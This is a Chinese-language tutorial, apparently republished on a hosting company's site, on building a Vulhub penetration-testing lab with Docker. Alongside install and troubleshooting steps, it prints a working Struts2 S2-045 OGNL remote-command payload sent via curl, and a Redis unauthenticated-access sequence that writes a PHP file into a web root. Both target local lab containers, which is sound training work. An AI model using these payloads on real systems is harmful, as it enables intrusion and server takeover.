您好,登录后才能下订单哦!
密码登录
登录注册
点击 登录注册 即表示同意《亿速云用户服务条款》
# 怎样快速搭建Vulhub渗透靶场环境
## 前言
在网络安全学习和渗透测试实践中,一个安全可控的靶场环境至关重要。Vulhub作为开源的漏洞环境集合项目,提供了大量可直接复现的漏洞场景,是安全研究人员和爱好者的理想选择。本文将详细介绍如何快速搭建Vulhub渗透靶场环境,涵盖从基础准备到实际部署的全过程。
## 一、Vulhub简介
### 1.1 项目背景
Vulhub是一个基于Docker和Docker-compose的漏洞环境集合,由国内安全团队Phith0n维护。该项目特点包括:
- 收录了数百个真实漏洞环境(CVE/公开漏洞)
- 一键搭建、开箱即用
- 支持多种常见服务漏洞复现
- 持续更新维护
### 1.2 典型应用场景
- 渗透测试技能练习
- 漏洞验证与研究
- 安全工具开发测试
- CTF竞赛训练
## 二、环境准备
### 2.1 硬件要求
| 配置项 | 最低要求 | 推荐配置 |
|--------|----------|----------|
| CPU | 双核 | 四核 |
| 内存 | 2GB | 8GB+ |
| 存储 | 20GB | 50GB+ |
### 2.2 软件依赖
必须安装的组件:
1. **Docker Engine**(版本20.10.0+)
2. **Docker-compose**(版本1.28.0+)
3. **Git**(版本控制工具)
### 2.3 系统兼容性
- Linux(Ubuntu/Debian/CentOS等)
- macOS(Intel/Apple Silicon)
- Windows(需WSL2支持)
## 三、详细搭建步骤
### 3.1 基础环境安装(以Ubuntu为例)
```bash
# 更新软件包索引
sudo apt-get update
# 安装必要工具
sudo apt-get install -y git curl python3-pip
# 安装Docker
curl -fsSL https://get.docker.com | sudo sh
# 添加当前用户到docker组
sudo usermod -aG docker $USER
newgrp docker
# 安装docker-compose
sudo pip3 install docker-compose
# 验证安装
docker --version
docker-compose --version
# 克隆仓库(国内用户推荐使用镜像源)
git clone https://github.com/vulhub/vulhub.git
cd vulhub
# 或者使用国内镜像
git clone https://gitee.com/mirrors/vulhub.git
# 进入目标漏洞目录
cd tomcat/CVE-2017-12615
# 构建并启动环境
docker-compose up -d
# 查看运行状态
docker-compose ps
根据输出提示访问(通常为http://localhost:8080
),不同漏洞环境端口可能不同。
若出现端口冲突错误,可通过修改docker-compose.yml
文件解决:
services:
tomcat:
ports:
- "8080:8080" # 修改前段端口号为可用端口
配置国内镜像加速器:
/etc/docker/daemon.json
:{
"registry-mirrors": [
"https://hub-mirror.c.163.com",
"https://mirror.baidubce.com"
]
}
sudo systemctl daemon-reload
sudo systemctl restart docker
查看容器日志:
docker-compose logs
使用Makefile简化操作:
start:
docker-compose up -d
stop:
docker-compose down
clean:
docker system prune -f
修改现有环境步骤: 1. 复制目标环境目录 2. 编辑Dockerfile添加所需工具 3. 修改docker-compose.yml配置 4. 重新构建镜像:
docker-compose build --no-cache
配置数据卷避免容器销毁后数据丢失:
volumes:
- ./data:/var/lib/mysql
sudo ufw allow from 192.168.1.0/24 to any port 8080
git pull origin master
watch -n 1 "docker stats --no-stream"
cd struts2/s2-045
docker-compose up -d
利用POC验证:
curl -X POST http://localhost:8080/ -H "Content-Type:%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
cd redis/unauthorized
docker-compose up -d
利用方式:
redis-cli -h 127.0.0.1
> config set dir /var/www/html
> config set dbfilename shell.php
> set test "<?php phpinfo();?>"
> save
deploy:
resources:
limits:
cpus: '1'
memory: 512M
FROM alpine:latest
docker image prune -a
通过本文的详细指导,您应该已经成功搭建了自己的Vulhub渗透测试环境。建议从简单漏洞开始逐步深入,结合实际场景进行学习。切记所有测试都应在授权环境下进行,遵守网络安全法律法规。
最后更新:2023年10月
本文档遵循CC BY-NC-SA 4.0协议 “`
免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。